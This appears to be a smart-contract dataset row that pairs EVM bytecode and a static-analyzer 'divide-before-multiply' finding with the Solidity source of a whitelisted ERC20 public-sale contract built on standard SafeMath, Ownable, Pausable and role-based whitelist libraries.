0006028610863565b906108e9565b81600d546102f79190611db6565b11156103585760405162461bcd60e51b815260206004820152602a60248201527f496e73756666696369656e742050726573616c6520706f6f6c2c2074727920746044820152696f20627579206c65737360b01b60648201526084016101b2565b61037261036d6000546001600160a01b031690565b61092b565b8111156103d55760405162461bcd60e51b815260206004820152602b60248201527f496e73756666696369656e7420746f6b656e732072656d61696e2c207472792060448201526a746f20627579206c65737360a81b60648201526084016101b2565b336000818152600460205260409020546103f968056bc75e2d6310000060646108e9565b610403828561098a565b11156104685760405162461bcd60e51b815260206004820152602e60248201527f54782065786365656420616464726573732070726573616c652071756f74612060448201526d6f6620312520686f6c64696e677360901b60648201526084016101b2565b600d54610475908461098a565b600d5561049461048d6000546001600160a01b031690565b83856109e9565b61049e818461098a565b6001600160a01b0383166000818152600460209081526040918290209390935580519182529181018590529081018590527f75bf477778356b18a5aff63fb742a8efe0471d5f72f538fbc3fb6a77e17b5e259060600160405180910390a150505050005b600080fd5b34801561051357600080fd5b50610527610522366004611ce3565b610c65565b005b34801561053557600080fd5b5061053e610d4d565b60405161054b9190611d2e565b60405180910390f35b34801561056057600080fd5b5061057461056f366004611cba565b610ddf565b604051901515815260200161054b565b34801561059057600080fd5b50600b545b60405190815260200161054b565b3480156105af57600080fd5b5068056bc75e2d63100000610595565b3480156105cb57600080fd5b506105746105da366004611c7f565b610df5565b3480156105eb57600080fd5b50610527610e5e565b34801561060057600080fd5b5061059561060f366004611ce3565b610ee4565b34801561062057600080fd5b50600c5460405160ff909116815260200161054b565b34801561064257600080fd5b50610595610651366004611cfb565b610f61565b34801561066257600080fd5b50600e54610595565b34801561067757600080fd5b5061059561036d366004611c33565b34801561069257600080fd5b50610527610ff3565b3480156106a757600080fd5b506105956106b6366004611ce3565b610837565b3480156106c757600080fd5b506105276106d6366004611ce3565b611067565b3480156106e757600080fd5b506000546040516001600160a01b03909116815260200161054b565b34801561070f57600080fd5b5061053e611096565b34801561072457600080fd5b50610574610733366004611cba565b6110a5565b34801561074457600080fd5b50610574610753366004611c33565b6001600160a01b031660009081526008602052604090205460ff1690565b34801561077d57600080fd5b506105276110b2565b34801561079257600080fd5b506105956107a1366004611c4d565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b3480156107d857600080fd5b50610595600e5481565b3480156107ee57600080fd5b50610527611145565b34801561080357600080fd5b50610527610812366004611c33565b6111ac565b34801561082357600080fd5b50610527610832366004611c33565b6112ff565b600e54600c5460009161085d916102e3906108569060ff16600a611e31565b8590610863565b92915050565b6000826108725750600061085d565b600061087e8385611edc565b90508261088b8583611dce565b146108e25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016101b2565b9392505050565b60006108e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114ee565b6001600160a01b03811660009081526008602052604081205460ff161561096857506001600160a01b031660009081526006602052604090205490565b6001600160a01b03821660009081526005602052604090205461085d90610ee4565b6000806109978385611db6565b9050838110156108e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016101b2565b6001600160a01b038316610a4d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016101b2565b6001600160a01b038216610aaf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016101b2565b60008111610b115760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016101b2565b6001600160a01b03831660009081526008602052604090205460ff168015610b5257506001600160a01b03821660009081526008602052604090205460ff16155b15610b6757610b62838383611525565b505050565b6001600160a01b03831660009081526008602052604090205460ff16158015610ba857506001600160a01b03821660009081526008602052604090205460ff165b15610bb857610b6283838361163e565b6001600160a01b03831660009081526008602052604090205460ff16158015610bfa57506001600160a01b03821660009081526008602052604090205460ff16155b15610c0a57610b628383836116e4565b6001600160a01b03831660009081526008602052604090205460ff168015610c4a57506001600160a01b03821660009081526008602052604090205460ff165b15610c5a57610b62838383611725565b610b628383836116e4565b3360008181526008602052604090205460ff1615610cda5760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b60648201526084016101b2565b6000610ce583611795565b505050506001600160a01b038316600090815260056020526040902054909150610d0f90826117e1565b6001600160a01b038316600090815260056020526040902055600a54610d3590826117e1565b600a55600b54610d45908461098a565b600b55505050565b606060028054610d5c90611f12565b80601f0160208091040260200160405190810160405280929190818152602001828054610d8890611f12565b8015610dd55780601f10610daa57610100808354040283529160200191610dd5565b820191906000526020600020905b815481529060010190602001808311610db857829003601f168201915b5050505050905090565b6000610dec338484611823565b50600192915050565b6000610e028484846109e9565b610e548433610e4f85604051806060016040528060288152602001611f7f602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611947565b611823565b5060019392505050565b6000546001600160a01b03163314610e885760405162461bcd60e51b81526004016101b290611d81565b600c54610100900460ff16610ed75760405162461bcd60e51b81526020600482015260156024820152741c1c995cd85b1948185b1c9958591e48195b991959605a1b60448201526064016101b2565b600c805461ff0019169055565b6000600a54821115610f4b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016101b2565b6000610f55611978565b90506108e283826108e9565b600068056bc75e2d63100000831115610fbc5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c790060448201526064016101b2565b81610fda576000610fcc84611795565b5092945061085d9350505050565b6000610fe584611795565b5091945061085d9350505050565b6000546001600160a01b0316331461101d5760405162461bcd60e51b81526004016101b290611d81565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146110915760405162461bcd60e51b81526004016101b290611d81565b600e55565b606060038054610d5c90611f12565b6000610dec3384846109e9565b6000546001600160a01b031633146110dc5760405162461bcd60e51b81526004016101b290611d81565b600c54610100900460ff16156111345760405162461bcd60e51b815260206004820152601760248201527f70726573616c6520616c7265616479207374617274656400000000000000000060448201526064016101b2565b600c805461ff001916610100179055565b6000546001600160a01b0316331461116f5760405162461bcd60e51b81526004016101b290611d81565b600080546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156111a9573d6000803e3d6000fd5b50565b6000546001600160a01b031633146111d65760405162461bcd60e51b81526004016101b290611d81565b6001600160a01b03811660009081526008602052604090205460ff161561123f5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c75646564000000000060448201526064016101b2565b6001600160a01b03811660009081526005602052604090205415611299576001600160a01b03811660009081526005602052604090205461127f90610ee4565b6001600160a01b0382166000908152600660205260409020555b6001600160a01b03166000818152600860205260408120805460ff191660019081179091556009805491820181559091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0180546001600160a01b0319169091179055565b6000546001600160a01b031633146113295760405162461bcd60e51b81526004016101b290611d81565b6001600160a01b03811660009081526008602052604090205460ff166113915760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c75646564000000000060448201526064016101b2565b60005b6009548110156114ea57816001600160a01b0316600982815481106113c957634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031614156114d857600980546113f490600190611efb565b8154811061141257634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600980546001600160a01b03909216918390811061144c57634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600682526040808220829055600890925220805460ff1916905560098054806114b257634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b03191690550190555050565b806114e281611f4d565b915050611394565b5050565b6000818361150f5760405162461bcd60e51b81526004016101b29190611d2e565b50600061151c8486611dce565b95945050505050565b600080600080600061153686611795565b6001600160a01b038d166000908152600660205260409020549499509297509095509350915061156690876117e1565b6001600160a01b03891660009081526006602090815260408083209390935560059052205461159590866117e1565b6001600160a01b03808a1660009081526005602052604080822093909355908916815220546115c4908561098a565b6001600160a01b0388166000908152600560205260409020556115e7838261199b565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161162c91815260200190565b60405180910390a35050505050505050565b600080600080600061164f86611795565b6001600160a01b038d166000908152600560205260409020549499509297509095509350915061167f90866117e1565b6001600160a01b03808a16600090815260056020908152604080832094909455918a168152600690915220546116b5908361098a565b6001600160a01b0388166000908152600660209081526040808320939093556005905220546115c4908561098a565b60008060008060006116f586611795565b6001600160a01b038d166000908152600560205260409020549499509297509095509350915061159590866117e1565b600080600080600061173686611795565b6001600160a01b038d166000908152600660205260409020549499509297509095509350915061176690876117e1565b6001600160a01b03891660009081526006602090815260408083209390935560059052205461167f90866117e1565b60008060008060008060006117a9886119bf565b9150915060006117b7611978565b905060008060006117c98c8686611a07565b919e909d50909b509599509397509395505050505050565b60006108e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611947565b6001600160a01b0383166118855760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016101b2565b6001600160a01b0382166118e65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016101b2565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000818484111561196b5760405162461bcd60e51b81526004016101b29190611d2e565b50600061151c8486611efb565b6000806000611985611a43565b909250905061199482826108e9565b9250505090565b600a546119a890836117e1565b600a55600b546119b8908261098a565b600b555050565b600080806119d960056119d38660646108e9565b90610863565b600c54909150610100900460ff16156119f0575060005b60006119fc85836117e1565b959194509092505050565b6000808080611a168786610863565b90506000611a248787610863565b90506000611a3283836117e1565b929992985090965090945050505050565b600a54600090819068056bc75e2d63100000825b600954811015611bda57826005600060098481548110611a8757634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611b005750816006600060098481548110611ad957634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611b1c575050600a549368056bc75e2d631000009350915050565b611b706005600060098481548110611b4457634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205484906117e1565b9250611bc66006600060098481548110611b9a57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205483906117e1565b915080611bd281611f4d565b915050611a57565b50600a54611bf19068056bc75e2d631000006108e9565b821015611c0e575050600a549268056bc75e2d6310000092509050565b90939092509050565b80356001600160a01b0381168114611c2e57600080fd5b919050565b600060208284031215611c44578081fd5b6108e282611c17565b60008060408385031215611c5f578081fd5b611c6883611c17565b9150611c7660208401611c17565b90509250929050565b600080600060608486031215611c93578081fd5b611c9c84611c17565b9250611caa60208501611c17565b9150604084013590509250925092565b60008060408385031215611ccc578182fd5b611cd583611c17565b946020939093013593505050565b600060208284031215611cf4578081fd5b5035919050565b60008060408385031215611d0d578182fd5b8235915060208301358015158114611d23578182fd5b809150509250929050565b6000602080835283518082850152825b81811015611d5a57858101830151858201604001528201611d3e565b81811115611d6b5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115611dc957611dc9611f68565b500190565b600082611de957634e487b7160e01b81526012600452602481fd5b500490565b600181815b80851115611e29578160001904821115611e0f57611e0f611f68565b80851615611e1c57918102915b93841c9390800290611df3565b509250929050565b60006108e260ff841683600082611e4a5750600161085d565b81611e575750600061085d565b8160018114611e6d5760028114611e7757611e93565b600191505061085d565b60ff841115611e8857611e88611f68565b50506001821b61085d565b5060208310610133831016604e8410600b8410161715611eb6575081810a61085d565b611ec08383611dee565b8060001904821115611ed457611ed4611f68565b029392505050565b6000816000190483118215151615611ef657611ef6611f68565b500290565b600082821015611f0d57611f0d611f68565b500390565b600181811c90821680611f2657607f821691505b60208210811415611f4757634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611f6157611f61611f68565b5060010190565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220019d0b22f207032fe13a7a0b8afa6514ccc6c44cfaa74615f34525632198aed064736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 997 |
0x2cfc06b1ec0735bd7ef00b211764cc7e06e9456a | pragma solidity ^0.4.24;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PublicSale is Pausable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
uint256 public maxgas;
uint256 public maxcap; // sale hardcap
uint256 public exceed; // indivisual hardcap
uint256 public minimum; // indivisual softcap
uint256 public rate; // exchange rate
bool public ignited = false; // is sale started?
uint256 public weiRaised = 0; // check sale status
address public wallet; // wallet for withdrawal
Whitelist public List; // whitelist
ERC20 public Token; // token
constructor (
uint256 _maxcap,
uint256 _exceed,
uint256 _minimum,
uint256 _rate,
uint256 _maxgas,
address _wallet,
address _whitelist,
address _token
) public {
require(_wallet != address(0));
require(_whitelist != address(0));
require(_token != address(0));
maxcap = _maxcap;
exceed = _exceed;
minimum = _minimum;
rate = _rate;
maxgas = _maxgas;
wallet = _wallet;
Token = ERC20(_token);
List = Whitelist(_whitelist);
}
/* fallback function */
function () external payable {
collect();
}
// address
event Change(address addr, string name);
event ChangeMaxGas(uint256 gas);
function setMaxGas(uint256 gas)
external
onlyOwner
{
require(gas > 0);
maxgas = gas;
emit ChangeMaxGas(gas);
}
function setWhitelist(address whitelist)
external
onlyOwner
{
require(whitelist != address(0));
List = Whitelist(whitelist);
emit Change(whitelist, "whitelist");
}
function setWallet(address newWallet)
external
onlyOwner
{
require(newWallet != address(0));
wallet = newWallet;
emit Change(newWallet, "wallet");
}
// sale controller
event Ignite();
event Extinguish();
function ignite()
external
onlyOwner
{
ignited = true;
emit Ignite();
}
function extinguish()
external
onlyOwner
{
ignited = false;
emit Extinguish();
}
// collect eth
event Purchase(address indexed buyer, uint256 purchased, uint256 refund, uint256 tokens);
mapping (address => uint256) public buyers;
function collect()
public
payable
whenNotPaused
{
address buyer = msg.sender;
uint256 amount = msg.value;
require(ignited);
require(List.whitelist(buyer));
require(buyer != address(0));
require(buyers[buyer].add(amount) >= minimum);
require(buyers[buyer] < exceed);
require(weiRaised < maxcap);
require(tx.gasprice <= maxgas);
uint256 purchase;
uint256 refund;
(purchase, refund) = getPurchaseAmount(buyer, amount);
weiRaised = weiRaised.add(purchase);
if(weiRaised >= maxcap) ignited = false;
buyers[buyer] = buyers[buyer].add(purchase);
buyer.transfer(refund);
Token.safeTransfer(buyer, purchase.mul(rate));
emit Purchase(buyer, purchase, refund, purchase.mul(rate));
}
// util functions for collect
function getPurchaseAmount(address _buyer, uint256 _amount)
private
view
returns (uint256, uint256)
{
uint256 d1 = maxcap.sub(weiRaised);
uint256 d2 = exceed.sub(buyers[_buyer]);
uint256 d = (d1 > d2) ? d2 : d1;
return (_amount > d) ? (d, _amount.sub(d)) : (_amount, 0);
}
// finalize
bool public finalized = false;
function finalize()
external
onlyOwner
whenNotPaused
{
require(!finalized);
withdrawEther();
withdrawToken();
finalized = true;
}
// withdraw
event WithdrawToken(address indexed from, uint256 amount);
event WithdrawEther(address indexed from, uint256 amount);
function withdrawToken()
public
onlyOwner
whenNotPaused
{
require(!ignited);
Token.safeTransfer(wallet, Token.balanceOf(address(this)));
emit WithdrawToken(wallet, Token.balanceOf(address(this)));
}
function withdrawEther()
public
onlyOwner
whenNotPaused
{
require(!ignited);
wallet.transfer(address(this).balance);
emit WithdrawEther(wallet, address(this).balance);
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address addr, string roleName);
event RoleRemoved(address addr, string roleName);
/**
* @dev reverts if addr does not have role
* @param addr address
* @param roleName the name of the role
* // reverts
*/
function checkRole(address addr, string roleName)
view
public
{
roles[roleName].check(addr);
}
/**
* @dev determine if addr has role
* @param addr address
* @param roleName the name of the role
* @return bool
*/
function hasRole(address addr, string roleName)
view
public
returns (bool)
{
return roles[roleName].has(addr);
}
/**
* @dev add a role to an address
* @param addr address
* @param roleName the name of the role
*/
function addRole(address addr, string roleName)
internal
{
roles[roleName].add(addr);
emit RoleAdded(addr, roleName);
}
/**
* @dev remove a role from an address
* @param addr address
* @param roleName the name of the role
*/
function removeRole(address addr, string roleName)
internal
{
roles[roleName].remove(addr);
emit RoleRemoved(addr, roleName);
}
/**
* @dev modifier to scope access to a single role (uses msg.sender as addr)
* @param roleName the name of the role
* // reverts
*/
modifier onlyRole(string roleName)
{
checkRole(msg.sender, roleName);
_;
}
/**
* @dev modifier to scope access to a set of roles (uses msg.sender as addr)
* @param roleNames the names of the roles to scope access to
* // reverts
*
* @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this
* see: https://github.com/ethereum/solidity/issues/2467
*/
// modifier onlyRoles(string[] roleNames) {
// bool hasAnyRole = false;
// for (uint8 i = 0; i < roleNames.length; i++) {
// if (hasRole(msg.sender, roleNames[i])) {
// hasAnyRole = true;
// break;
// }
// }
// require(hasAnyRole);
// _;
// }
}
contract Whitelist is Ownable, RBAC {
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
string public constant ROLE_WHITELISTED = "whitelist";
/**
* @dev Throws if called by any account that's not whitelisted.
*/
modifier onlyWhitelisted() {
checkRole(msg.sender, ROLE_WHITELISTED);
_;
}
/**
* @dev add an address to the whitelist
* @param addr address
* @return true if the address was added to the whitelist, false if the address was already in the whitelist
*/
function addAddressToWhitelist(address addr)
onlyOwner
public
{
addRole(addr, ROLE_WHITELISTED);
emit WhitelistedAddressAdded(addr);
}
/**
* @dev getter to determine if address is in whitelist
*/
function whitelist(address addr)
public
view
returns (bool)
{
return hasRole(addr, ROLE_WHITELISTED);
}
/**
* @dev add addresses to the whitelist
* @param addrs addresses
* @return true if at least one address was added to the whitelist,
* false if all addresses were already in the whitelist
*/
function addAddressesToWhitelist(address[] addrs)
onlyOwner
public
{
for (uint256 i = 0; i < addrs.length; i++) {
addAddressToWhitelist(addrs[i]);
}
}
/**
* @dev remove an address from the whitelist
* @param addr address
* @return true if the address was removed from the whitelist,
* false if the address wasn't in the whitelist in the first place
*/
function removeAddressFromWhitelist(address addr)
onlyOwner
public
{
removeRole(addr, ROLE_WHITELISTED);
emit WhitelistedAddressRemoved(addr);
}
/**
* @dev remove addresses from the whitelist
* @param addrs addresses
* @return true if at least one address was removed from the whitelist,
* false if all addresses weren't in the whitelist in the first place
*/
function removeAddressesFromWhitelist(address[] addrs)
onlyOwner
public
{
for (uint256 i = 0; i < addrs.length; i++) {
removeAddressFromWhitelist(addrs[i]);
}
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an address access to this role
*/
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
/**
* @dev remove an address' access to this role
*/
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
/**
* @dev check if an address has this role
* // reverts
*/
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
/**
* @dev check if an address has this role
* @return bool
*/
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
} | 0x60806040526004361061015e5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630b18156781146101685780630d6f7ca31461018f5780632c4e722e146101a45780633f4ba83a146101b95780634042b66f146101ce5780634bb278f3146101e3578063521eb273146101f857806352d6804d1461022957806355456f581461023e5780635c975abb1461025357806366092ea81461027c578063715018a6146102915780637362377b146102a65780638456cb59146102bb578063854cff2f146102d05780638da5cb5b146102f15780638e9280761461030657806397a993aa1461031e578063b3f05b971461033f578063c241267614610354578063c258ff7414610369578063c54837a41461037e578063ca628c7814610393578063deaa59df146103a8578063e52253811461015e578063f2fde38b146103c9578063f768923a146103ea575b6101666103ff565b005b34801561017457600080fd5b5061017d6106a6565b60408051918252519081900360200190f35b34801561019b57600080fd5b5061017d6106ac565b3480156101b057600080fd5b5061017d6106b2565b3480156101c557600080fd5b506101666106b8565b3480156101da57600080fd5b5061017d61072e565b3480156101ef57600080fd5b50610166610734565b34801561020457600080fd5b5061020d610791565b60408051600160a060020a039092168252519081900360200190f35b34801561023557600080fd5b5061017d6107a0565b34801561024a57600080fd5b5061017d6107a6565b34801561025f57600080fd5b506102686107ac565b604080519115158252519081900360200190f35b34801561028857600080fd5b506102686107bc565b34801561029d57600080fd5b506101666107c5565b3480156102b257600080fd5b50610166610831565b3480156102c757600080fd5b506101666108ef565b3480156102dc57600080fd5b50610166600160a060020a036004351661096a565b3480156102fd57600080fd5b5061020d610a2b565b34801561031257600080fd5b50610166600435610a3a565b34801561032a57600080fd5b5061017d600160a060020a0360043516610a99565b34801561034b57600080fd5b50610268610aab565b34801561036057600080fd5b5061020d610ab4565b34801561037557600080fd5b5061020d610ac3565b34801561038a57600080fd5b50610166610ad2565b34801561039f57600080fd5b50610166610b1e565b3480156103b457600080fd5b50610166600160a060020a0360043516610cda565b3480156103d557600080fd5b50610166600160a060020a0360043516610d9a565b3480156103f657600080fd5b50610166610dbd565b6000805481908190819060a060020a900460ff161561041d57600080fd5b60065433945034935060ff16151561043457600080fd5b600954604080517f9b19251a000000000000000000000000000000000000000000000000000000008152600160a060020a03878116600483015291519190921691639b19251a9160248083019260209291908290030181600087803b15801561049c57600080fd5b505af11580156104b0573d6000803e3d6000fd5b505050506040513d60208110156104c657600080fd5b505115156104d357600080fd5b600160a060020a03841615156104e857600080fd5b600454600160a060020a0385166000908152600b6020526040902054610514908563ffffffff610e0c16565b101561051f57600080fd5b600354600160a060020a0385166000908152600b60205260409020541061054557600080fd5b6002546007541061055557600080fd5b6001543a111561056457600080fd5b61056e8484610e1f565b6007549193509150610586908363ffffffff610e0c16565b60078190556002541161059e576006805460ff191690555b600160a060020a0384166000908152600b60205260409020546105c7908363ffffffff610e0c16565b600160a060020a0385166000818152600b6020526040808220939093559151909183156108fc02918491818181858888f1935050505015801561060e573d6000803e3d6000fd5b506106418461062860055485610eae90919063ffffffff16565b600a54600160a060020a0316919063ffffffff610ed716565b83600160a060020a03167f5bc97d73357ac0d035d4b9268a69240988a5776b8a4fcced3dbc223960123f40838361068360055487610eae90919063ffffffff16565b60408051938452602084019290925282820152519081900360600190a250505050565b60035481565b60015481565b60055481565b600054600160a060020a031633146106cf57600080fd5b60005460a060020a900460ff1615156106e757600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b60075481565b600054600160a060020a0316331461074b57600080fd5b60005460a060020a900460ff161561076257600080fd5b600c5460ff161561077257600080fd5b61077a610831565b610782610b1e565b600c805460ff19166001179055565b600854600160a060020a031681565b60045481565b60025481565b60005460a060020a900460ff1681565b60065460ff1681565b600054600160a060020a031633146107dc57600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a0316331461084857600080fd5b60005460a060020a900460ff161561085f57600080fd5b60065460ff161561086f57600080fd5b600854604051600160a060020a0390911690303180156108fc02916000818181858888f193505050501580156108a9573d6000803e3d6000fd5b5060085460408051303181529051600160a060020a03909216917fdb35132c111efe920cede025e819975671cfd1b8fcc1174762c8670c4e94c2119181900360200190a2565b600054600160a060020a0316331461090657600080fd5b60005460a060020a900460ff161561091d57600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b600054600160a060020a0316331461098157600080fd5b600160a060020a038116151561099657600080fd5b60098054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff19909116811782556040805191825260208201819052818101929092527f77686974656c6973740000000000000000000000000000000000000000000000606082015290517fa785fc346da73c9ad6c933dde68fe85362a97b7b07706c3e23ff3400cc5d93b59181900360800190a150565b600054600160a060020a031681565b600054600160a060020a03163314610a5157600080fd5b60008111610a5e57600080fd5b60018190556040805182815290517f0a43199e88e7835e571e0fc8b9a50f07066a81593dc117a0f70cbed732584c1a9181900360200190a150565b600b6020526000908152604090205481565b600c5460ff1681565b600a54600160a060020a031681565b600954600160a060020a031681565b600054600160a060020a03163314610ae957600080fd5b6006805460ff191690556040517fd53036fa90376b59ca8afb9d95483e6b47ffa785d597814fcfd7405a91bba67a90600090a1565b600054600160a060020a03163314610b3557600080fd5b60005460a060020a900460ff1615610b4c57600080fd5b60065460ff1615610b5c57600080fd5b600854600a54604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051610c0f93600160a060020a039081169316916370a082319160248083019260209291908290030181600087803b158015610bca57600080fd5b505af1158015610bde573d6000803e3d6000fd5b505050506040513d6020811015610bf457600080fd5b5051600a54600160a060020a0316919063ffffffff610ed716565b600854600a54604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a03938416937f992ee874049a42cae0757a765cd7f641b6028cc35c3478bde8330bf417c3a7a99316916370a082319160248083019260209291908290030181600087803b158015610c9b57600080fd5b505af1158015610caf573d6000803e3d6000fd5b505050506040513d6020811015610cc557600080fd5b505160408051918252519081900360200190a2565b600054600160a060020a03163314610cf157600080fd5b600160a060020a0381161515610d0657600080fd5b60088054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff19909116811790915560408051918252602082018190526006828201527f77616c6c657400000000000000000000000000000000000000000000000000006060830152517fa785fc346da73c9ad6c933dde68fe85362a97b7b07706c3e23ff3400cc5d93b59181900360800190a150565b600054600160a060020a03163314610db157600080fd5b610dba81610f8f565b50565b600054600160a060020a03163314610dd457600080fd5b6006805460ff191660011790556040517fb66ce7cc84acb9e2cdfa3c16073eec63d39b0540887b91247afebaee4645611a90600090a1565b81810182811015610e1957fe5b92915050565b6000806000806000610e3e60075460025461100c90919063ffffffff16565b600160a060020a03881660